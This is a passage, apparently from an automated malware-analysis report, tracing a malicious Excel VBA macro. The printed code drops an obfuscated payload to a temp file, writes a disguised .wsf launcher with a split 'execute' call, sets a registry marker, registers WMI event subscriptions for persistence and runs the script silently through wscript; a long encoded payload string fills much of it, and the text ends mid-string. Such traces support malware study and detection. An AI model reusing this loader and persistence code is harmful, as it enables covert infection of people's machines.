143	DMpath = gPath & "\TMP.TMP"
144	VBSpath = gPath & "\winstart.wsf"
146	Open DMpath For Output As # 1	Open("C:\Users\totti\AppData\Local\Temp\TMP.TMP") executed
147	Print # 1, dmStr
148	Close # 1
150	vbsStr = "?PNG<job id=""cSJXhQP""><script language=""VBScript"" src=""TMP.TMP"">eval(""ex""&""ecut""&""e(cSJXhQPeXe)=1"")</Script></job>"
152	Open VBSpath For Output As # 2	Open("C:\Users\totti\AppData\Local\Temp\winstart.wsf") executed
153	Print # 2, vbsStr
154	Close # 2
156	wmiserv dmStr, vbsStr
158	Const HKEY_LOCAL_MACHINE = &H80000002
159	Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")	GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv") executed
160	oReg.GetStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\rknrl", "wspr", strValue	GetStringValue HKEY_LOCAL_MACHINE strValue
162	If strValue = "" Then	strValue
163	oReg.SetStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\rknrl", "wspr", "E" & Month(Now()) & "-" & Day(Now())	SetStringValue HKEY_LOCAL_MACHINE Month Now Day
164	Endif
167	Shell "wscript.exe //B " & Chr(34) & VBSpath & Chr(34)	Shell("wscript.exe //B "C:\Users\totti\AppData\Local\Temp\winstart.wsf"") -> 7928 Chr executed
168	End Sub

Function
wmiservAPIs: 23, Strings: 7, Number of lines: 12, Relevance: 76.012

APIs	Meta Information
GetObject	GetObject("winmgmts:\\.\root\subscription")
Replace	Replace("yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|MSTWUW\|iSElOg\|uniSUX\|6U3vMS\|LPywXY\|igJQsw\|FQ51L2\|5HmX6W\|Je7gf2\|5wley1\|blk6UX\|6UElOR\|qX6UEl\|ORqX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAeig\|XYKG7z\|MRiYkq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WXYKG\|7zMRiQ\|Zs4Sw6\|iX6Ubp\|5sL15w\|Ucdwfe\|52xX3w\|EvqsxX\|3wEvdQ\|JkuHfJ\|iP7tKd\|IR31bZ\|yWplyG\|qYin7p\|5WIn51\|bzolxM\|Vlx25H\|AJ1gXp\|51y2iS\|UX6lXl\|76LtMR\|TvyzI1\|5wUe31\|hlyGPI\|31TEk6\|Tz3wxl\|yGqQkS\|LWMWAt\|iR7p5j\|m21GL2\|5HXlMG\|mSkqJk\|bWA2i8\|fhyHQQ\|MRTvi8\|leigI0\|MWAjNq\|pT3SLm\|qHPz3s\|h0MWBe\|5WPt3s\|UQZs4S\|51ltKw\|ElMSEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|i6TXiS\|LP5WqQ\|swyX6U\|lWi8xN\|y1XlkR\|L252Ee\|ywIlks\|4Ai6Tt\|OwIp5W\|f2ysEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iU8Si8\|fe36LT\|3QJksw\|yQd8Xh\|MHuYMR\|TvVWEh\|5wupiN\|JQiWIE\|5wle31\|TeVWfF\|3siQfg\|hl5QJk\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iUFSNq\|pPOglJ\|i83vMQ\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fZ3W3p\|yHuQkg\|PU3RTY\|5GXJkq\|JkMRTl\|bgAG5S\|4SdWA2\|5wPcVW\|bvy2ic\|KwEz7g\|Pc5gbp\|MS0SMW\|teMW0e\|f8Iqms\|iciWFS\|VNqX6n\|L23ubv\|7HFQiU\|Tv5Hce\|OgxziS\|xp5nXJ\|ywxc3g\|l2V6T2\|KHE256\|Eudf42\|iS0S5S\|icXqJk\|bwEUiP\|XIyQJk\|bnfeyG\|bp5HFQ\|MRTlbg\|AG5ShW\|KwxldW\|Pt3sxz\|y13lug\|PJK6xz\|y13ldW\|Pt3sxl\|OgfjVg\|UpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk71\|TciNJQ\|dgfW76\|hY5GXJ\|V6LT5l\|XJMlTl\|7ShY5G\|XJV6iv\|iSUpi6\|yQ3Wlc\|3uEh5w\|uX6Wbv\|7HEc5H\|PUiRf2\|56xzy1\|3lugPJ\|K6xzy1\|3ldWPt\|3sxlOg\|fjNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkuW\|Av7RTl\|M24Aig\|XYKGTv\|5GqX6n\|f2564A\|iPX05g\|lJi6hs\|5HAJMW\|fzV6iB\|9NFSks\|hpkqJk\|5WfJiN\|JQuGLc\|K1qQkR\|f2560S\|96ipkN\|8pNqpU\|5G7e5g\|Ah36Le\|31qcMH\|PH3fLh\|7gQcMH\|PH3uEh\|5wuc31\|hly0Jk\|bwEUi8\|lWNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkMR\|TlbgAG\|5S4Ai8\|3h5RXl\|NqpP5R\|XlNqp0\|MWf85G\|7eiNJQ\|fRTI3q\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|i87l78\|lqk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTaf2\|xj5HxL\|Nqpd31\|qQ5HTa\|f24Ai8\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|JkuHfJ\|igXv58\|8QZsLv\|yWp1VU\|fF3wXb\|7wf2Os\|QSuJfm\|buXui6\|YQblTZ\|dsL1Kw\|FzmlAo\|31bG5G\|Trqwbh\|MRblMU\|Xv5W3p\|3Gf2y1\|bp5HFQ\|fJhPuU\|uQsfLP\|5WPS5g\|fUiNJQ\|fRTI3s\|ipNqpT\|3SLj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4piN0+\|i6iSiP\|bY3wFX\|6WxvyH\|PcdwPj\|iNJQuW\|f05gPj\|3shj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4pV6iD\|iS0SiS\|UX6Ufe\|36LT3Q\|JkbHfJ\|sf4QZs\|Lj5HxL\|VUlJ3w\|IT5Wbl\|O6Q0ks\|ETu8PU\|3RTlMG\|mYm6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|bWl23f\|7h5g0Y\|5WPt3s\|x05GTJ\|VRXJy1\|blVR7l\|yUP0M6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|Nqpd31\|qQ5HTa\|bWl231\|7h5g0Q\|ZsLNMW\|fh7gfZ\|yWplyG\|qYiUho\|31bN3W\|Mebn7X\|3GiSkq\|JkuHfJ\|igASKl\|Lv5glj\|Os4Aig\|ASKU3p\|MWfGyw\|xcVUxv\|yHPcug\|AcKwXE\|VUXIMn\|Tl5nbq\|MWAWKw\|xlNqpd\|31qQ5H\|TaugA2\|764Ai8\|X23wPJ\|3uASKW\|fj76QS\|s8El78\|XW32Eg\|7JA03w\|Eq5GTJ\|iSUX6W\|ASKlLv\|Mnqeug\|A2764A\|iRLvMn\|qX6WAS\|KlLvMn\|qedWPt\|3s4Aig\|Eh5wuX\|6WASKl\|LvMnqe\|bwEhyW\|xl364A\|iRXJy1\|blNqpd\|31qQyH\|AcugA2\|7RmQZs\|LvyWpq\|5HxpyG\|UebHxv\|yWPc5R\|lZMgfe\|ugA27R\|mX6WXv\|5PLvMn\|bzVUPU\|36hvyW\|pq5GTJ\|kqJkuH\|fJigAS\|KUP0M6\|4Ai8X2\|3wPJ3u\|ASKWfj\|76QSs8\|El78XW\|32Eg7J\|PI7ghv\|MWlD3w\|bLMRLc\|KwXh7g\|lv5Sip\|NqpvyW\|pLMR4e\|dWPt3s\|4Ai6TX\|Of7lyU\|P0M6iX\|6WASKU\|P0M6ET\|uP3lMn\|Xp5HFQ\|Zs42Nq\|pvyWpL\|MR4euR\|TvyHfz\|MJltyw\|7lbWlc\|3,""","""") -> yM = ""MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|MSTWUW\|iSElOg\|uniSUX\|6U3vMS\|LPywXY\|igJQsw\|FQ51L2\|5HmX6W\|Je7gf2\|5wley1\|blk6UX\|6UElOR\|qX6UEl\|ORqX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAeig\|XYKG7z\|MRiYkq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WXYKG\|7zMRiQ\|Zs4Sw6\|iX6Ubp\|5sL15w\|Ucdwfe\|52xX3w\|EvqsxX\|3wEvdQ\|JkuHfJ\|iP7tKd\|IR31bZ\|yWplyG\|qYin7p\|5WIn51\|bzolxM\|Vlx25H\|AJ1gXp\|51y2iS\|UX6lXl\|76LtMR\|TvyzI1\|5wUe31\|hlyGPI\|31TEk6\|Tz3wxl\|yGqQkS\|LWMWAt\|iR7p5j\|m21GL2\|5HXlMG\|mSkqJk\|bWA2i8\|fhyHQQ\|MRTvi8\|leigI0\|MWAjNq\|pT3SLm\|qHPz3s\|h0MWBe\|5WPt3s\|UQZs4S\|51ltKw\|ElMSEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|i6TXiS\|LP5WqQ\|swyX6U\|lWi8xN\|y1XlkR\|L252Ee\|ywIlks\|4Ai6Tt\|OwIp5W\|f2ysEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iU8Si8\|fe36LT\|3QJksw\|yQd8Xh\|MHuYMR\|TvVWEh\|5wupiN\|JQiWIE\|5wle31\|TeVWfF\|3siQfg\|hl5QJk\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iUFSNq\|pPOglJ\|i83vMQ\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fZ3W3p\|yHuQkg\|PU3RTY\|5GXJkq\|JkMRTl\|bgAG5S\|4SdWA2\|5wPcVW\|bvy2ic\|KwEz7g\|Pc5gbp\|MS0SMW\|teMW0e\|f8Iqms\|iciWFS\|VNqX6n\|L23ubv\|7HFQiU\|Tv5Hce\|OgxziS\|xp5nXJ\|ywxc3g\|l2V6T2\|KHE256\|Eudf42\|iS0S5S\|icXqJk\|bwEUiP\|XIyQJk\|bnfeyG\|bp5HFQ\|MRTlbg\|AG5ShW\|KwxldW\|Pt3sxz\|y13lug\|PJK6xz\|y13ldW\|Pt3sxl\|OgfjVg\|UpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk71\|TciNJQ\|dgfW76\|hY5GXJ\|V6LT5l\|XJMlTl\|7ShY5G\|XJV6iv\|iSUpi6\|yQ3Wlc\|3uEh5w\|uX6Wbv\|7HEc5H\|PUiRf2\|56xzy1\|3lugPJ\|K6xzy1\|3ldWPt\|3sxlOg\|fjNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkuW\|Av7RTl\|M24Aig\|XYKGTv\|5GqX6n\|f2564A\|iPX05g\|lJi6hs\|5HAJMW\|fzV6iB\|9NFSks\|hpkqJk\|5WfJiN\|JQuGLc\|K1qQkR\|f2560S\|96ipkN\|8pNqpU\|5G7e5g\|Ah36Le\|31qcMH\|PH3fLh\|7gQcMH\|PH3uEh\|5wuc31\|hly0Jk\|bwEUi8\|lWNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkMR\|TlbgAG\|5S4Ai8\|3h5RXl\|NqpP5R\|XlNqp0\|MWf85G\|7eiNJQ\|fRTI3q\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|i87l78\|lqk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTaf2\|xj5HxL\|Nqpd31\|qQ5HTa\|f24Ai8\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|JkuHfJ\|igXv58\|8QZsLv\|yWp1VU\|fF3wXb\|7wf2Os\|QSuJfm\|buXui6\|YQblTZ\|dsL1Kw\|FzmlAo\|31bG5G\|Trqwbh\|MRblMU\|Xv5W3p\|3Gf2y1\|bp5HFQ\|fJhPuU\|uQsfLP\|5WPS5g\|fUiNJQ\|fRTI3s\|ipNqpT\|3SLj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4piN0+\|i6iSiP\|bY3wFX\|6WxvyH\|PcdwPj\|iNJQuW\|f05gPj\|3shj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4pV6iD\|iS0SiS\|UX6Ufe\|36LT3Q\|JkbHfJ\|sf4QZs\|Lj5HxL\|VUlJ3w\|IT5Wbl\|O6Q0ks\|ETu8PU\|3RTlMG\|mYm6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|bWl23f\|7h5g0Y\|5WPt3s\|x05GTJ\|VRXJy1\|blVR7l\|yUP0M6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|Nqpd31\|qQ5HTa\|bWl231\|7h5g0Q\|ZsLNMW\|fh7gfZ\|yWplyG\|qYiUho\|31bN3W\|Mebn7X\|3GiSkq\|JkuHfJ\|igASKl\|Lv5glj\|Os4Aig\|ASKU3p\|MWfGyw\|xcVUxv\|yHPcug\|AcKwXE\|VUXIMn\|Tl5nbq\|MWAWKw\|xlNqpd\|31qQ5H\|TaugA2\|764Ai8\|X23wPJ\|3uASKW\|fj76QS\|s8El78\|XW32Eg\|7JA03w\|Eq5GTJ\|iSUX6W\|ASKlLv\|Mnqeug\|A2764A\|iRLvMn\|qX6WAS\|KlLvMn\|qedWPt\|3s4Aig\|Eh5wuX\|6WASKl\|LvMnqe\|bwEhyW\|xl364A\|iRXJy1\|blNqpd\|31qQyH\|AcugA2\|7RmQZs\|LvyWpq\|5HxpyG\|UebHxv\|yWPc5R\|lZMgfe\|ugA27R\|mX6WXv\|5PLvMn\|bzVUPU\|36hvyW\|pq5GTJ\|kqJkuH\|fJigAS\|KUP0M6\|4Ai8X2\|3wPJ3u\|ASKWfj\|76QSs8\|El78XW\|32Eg7J\|PI7ghv\|MWlD3w\|bLMRLc\|KwXh7g\|lv5Sip\|NqpvyW\|pLMR4e\|dWPt3s\|4Ai6TX\|Of7lyU\|P0M6iX\|6WASKU\|P0M6ET\|uP3lMn\|Xp5HFQ\|Zs42Nq\|pvyWpL\|MR4euR\|TvyHfz\|MJltyw\|7lbWlc\|3
Replace	Replace("?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>",""","""") -> ?PNG<job id=""cSJXhQP""><script language=""VBScript"" src=""TMP.TMP"">eval(""ex""&""ecut""&""e(cSJXhQPeXe)=1"")</Script></job>
Part of subcall function WmiConsumer@ThisWorkbook: Get
Part of subcall function WmiConsumer@ThisWorkbook: Name
Part of subcall function WmiConsumer@ThisWorkbook: scriptingengine
Part of subcall function WmiConsumer@ThisWorkbook: ScriptText
Part of subcall function WmiConsumer@ThisWorkbook: put_
Part of subcall function WmiConsumer@ThisWorkbook: Get
Part of subcall function WmiConsumer@ThisWorkbook: timerid
Part of subcall function WmiConsumer@ThisWorkbook: intervalbetweenevents
Part of subcall function WmiConsumer@ThisWorkbook: skipifpassed
Part of subcall function WmiConsumer@ThisWorkbook: put_
Part of subcall function WmiConsumer@ThisWorkbook: Get
Part of subcall function WmiConsumer@ThisWorkbook: Name
Part of subcall function WmiConsumer@ThisWorkbook: Query
Part of subcall function WmiConsumer@ThisWorkbook: querylanguage
Part of subcall function WmiConsumer@ThisWorkbook: put_
Part of subcall function WmiConsumer@ThisWorkbook: Get
Part of subcall function WmiConsumer@ThisWorkbook: Path
Part of subcall function WmiConsumer@ThisWorkbook: Filter
Part of subcall function WmiConsumer@ThisWorkbook: Path
Part of subcall function WmiConsumer@ThisWorkbook: put_

Strings	Decrypted Strings
"winmgm""ts:\\.""\root\""subscr""iption"
""""
""""""
""""
""""""
"On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """
"rknrlwsf"

Line	Instruction	Meta Information
170	Function wmiserv(DM, VBS)
171	On Error Resume Next	executed
172	Dim objConn as Object, nslink as String
173	nslink = "winmgm" & "ts:\\." & "\root\" & "subscr" & "iption"
174	Set objConn = GetObject(nslink)	GetObject("winmgmts:\\.\root\subscription") executed
176	DM = Replace(DM, """", """""")	Replace("yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|MSTWUW\|iSElOg\|uniSUX\|6U3vMS\|LPywXY\|igJQsw\|FQ51L2\|5HmX6W\|Je7gf2\|5wley1\|blk6UX\|6UElOR\|qX6UEl\|ORqX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAeig\|XYKG7z\|MRiYkq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WXYKG\|7zMRiQ\|Zs4Sw6\|iX6Ubp\|5sL15w\|Ucdwfe\|52xX3w\|EvqsxX\|3wEvdQ\|JkuHfJ\|iP7tKd\|IR31bZ\|yWplyG\|qYin7p\|5WIn51\|bzolxM\|Vlx25H\|AJ1gXp\|51y2iS\|UX6lXl\|76LtMR\|TvyzI1\|5wUe31\|hlyGPI\|31TEk6\|Tz3wxl\|yGqQkS\|LWMWAt\|iR7p5j\|m21GL2\|5HXlMG\|mSkqJk\|bWA2i8\|fhyHQQ\|MRTvi8\|leigI0\|MWAjNq\|pT3SLm\|qHPz3s\|h0MWBe\|5WPt3s\|UQZs4S\|51ltKw\|ElMSEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|i6TXiS\|LP5WqQ\|swyX6U\|lWi8xN\|y1XlkR\|L252Ee\|ywIlks\|4Ai6Tt\|OwIp5W\|f2ysEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iU8Si8\|fe36LT\|3QJksw\|yQd8Xh\|MHuYMR\|TvVWEh\|5wupiN\|JQiWIE\|5wle31\|TeVWfF\|3siQfg\|hl5QJk\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iUFSNq\|pPOglJ\|i83vMQ\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fZ3W3p\|yHuQkg\|PU3RTY\|5GXJkq\|JkMRTl\|bgAG5S\|4SdWA2\|5wPcVW\|bvy2ic\|KwEz7g\|Pc5gbp\|MS0SMW\|teMW0e\|f8Iqms\|iciWFS\|VNqX6n\|L23ubv\|7HFQiU\|Tv5Hce\|OgxziS\|xp5nXJ\|ywxc3g\|l2V6T2\|KHE256\|Eudf42\|iS0S5S\|icXqJk\|bwEUiP\|XIyQJk\|bnfeyG\|bp5HFQ\|MRTlbg\|AG5ShW\|KwxldW\|Pt3sxz\|y13lug\|PJK6xz\|y13ldW\|Pt3sxl\|OgfjVg\|UpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk71\|TciNJQ\|dgfW76\|hY5GXJ\|V6LT5l\|XJMlTl\|7ShY5G\|XJV6iv\|iSUpi6\|yQ3Wlc\|3uEh5w\|uX6Wbv\|7HEc5H\|PUiRf2\|56xzy1\|3lugPJ\|K6xzy1\|3ldWPt\|3sxlOg\|fjNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkuW\|Av7RTl\|M24Aig\|XYKGTv\|5GqX6n\|f2564A\|iPX05g\|lJi6hs\|5HAJMW\|fzV6iB\|9NFSks\|hpkqJk\|5WfJiN\|JQuGLc\|K1qQkR\|f2560S\|96ipkN\|8pNqpU\|5G7e5g\|Ah36Le\|31qcMH\|PH3fLh\|7gQcMH\|PH3uEh\|5wuc31\|hly0Jk\|bwEUi8\|lWNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkMR\|TlbgAG\|5S4Ai8\|3h5RXl\|NqpP5R\|XlNqp0\|MWf85G\|7eiNJQ\|fRTI3q\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|i87l78\|lqk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTaf2\|xj5HxL\|Nqpd31\|qQ5HTa\|f24Ai8\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|JkuHfJ\|igXv58\|8QZsLv\|yWp1VU\|fF3wXb\|7wf2Os\|QSuJfm\|buXui6\|YQblTZ\|dsL1Kw\|FzmlAo\|31bG5G\|Trqwbh\|MRblMU\|Xv5W3p\|3Gf2y1\|bp5HFQ\|fJhPuU\|uQsfLP\|5WPS5g\|fUiNJQ\|fRTI3s\|ipNqpT\|3SLj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4piN0+\|i6iSiP\|bY3wFX\|6WxvyH\|PcdwPj\|iNJQuW\|f05gPj\|3shj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4pV6iD\|iS0SiS\|UX6Ufe\|36LT3Q\|JkbHfJ\|sf4QZs\|Lj5HxL\|VUlJ3w\|IT5Wbl\|O6Q0ks\|ETu8PU\|3RTlMG\|mYm6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|bWl23f\|7h5g0Y\|5WPt3s\|x05GTJ\|VRXJy1\|blVR7l\|yUP0M6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|Nqpd31\|qQ5HTa\|b